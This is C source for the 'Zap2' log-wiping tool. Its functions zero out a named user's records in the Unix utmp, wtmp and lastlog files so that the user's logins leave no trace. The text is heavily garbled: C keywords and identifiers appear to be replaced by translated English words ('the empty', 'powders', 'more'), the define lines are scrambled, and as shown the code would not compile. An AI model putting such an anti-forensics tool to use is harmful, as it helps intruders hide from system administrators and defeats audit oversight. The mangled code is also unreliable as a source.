#include <sys/types.h> 
#include <stdio.h> 
#include <unistd.h> 
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h> 
#include <pwd.h> 
#include <lastlog.h>

#define  "/usr/adm/wtmp&quot WTMP_NAME; 
#define  "/etc/utmp&quotUTMP_NAME; 
#define  "/usr/adm/lastlog&quot LASTLOG_NAME;

int f;

the empty kill_utmp (who) char *who; {utmp_ent of struct utmp;

if ((f=open(UTMP_NAME,O_RDWR)) >=0) {while ( reads (f, 
&utmp_ent,(utmp_ent)) sizeof > 0) if 
(!strncmp(utmp_ent.ut_name,who,strlen(wh{bzero ((*) char &utmp_ent,sizeof 
(utmp_ent)); lseek (f, - ((utmp_ent) of sizeof), SEEK_CUR); writes (f, 
&utmp_ent, (utmp_ent)de sizeof);} they close (f);}}

the empty kill_wtmp (who) char *who; {utmp_ent of struct utmp; poslongo;

it put it = 1L; if ((f=open(WTMP_NAME,O_RDWR)) >=0) {

while (powders! = -1L) {lseek(f,-(long) ((sizeof (struct utmp)) * pos),L_XTND); 
if ( reads (f, &utmp_ent, sizeof (struct utmp)) <0) {it put = -1L;} more 
{if (!strncmp(utmp_ent.ut_name,who,strlen(wh {bzero ((utmp *) char 
&utmp_ent,sizeof(struct)); lseek(f, - ((sizeof (utmp destruct)) * it put) 
,L_XTND); [sbrk] writes (f, &utmp_ent, (utmp_ent) desizeof); it put = -1L;} 
more powders + = 1L;}}  closes (f);}}

the empty kill_lastlog (who) char *who; {struct passwd *pwd; newll struct 
delastlog;

if ((pwd=getpwnam(who)) !=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) > = 0) {lseek (f,(long)pwd->pw_uid * 
sizeof (struct lastlog), 0); bzero ((*) char &newll,sizeof (newll)); writes 
(f, (*) char,sizeof &newll (newll)); closes (f);}

} more printf (? \092n",who "%s:);}

main (argc, argv) int argc; *argv [of char]; {if 
(argc==2){kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); 
printf("Zap2!\092n");} more printf ("Error.\092n");}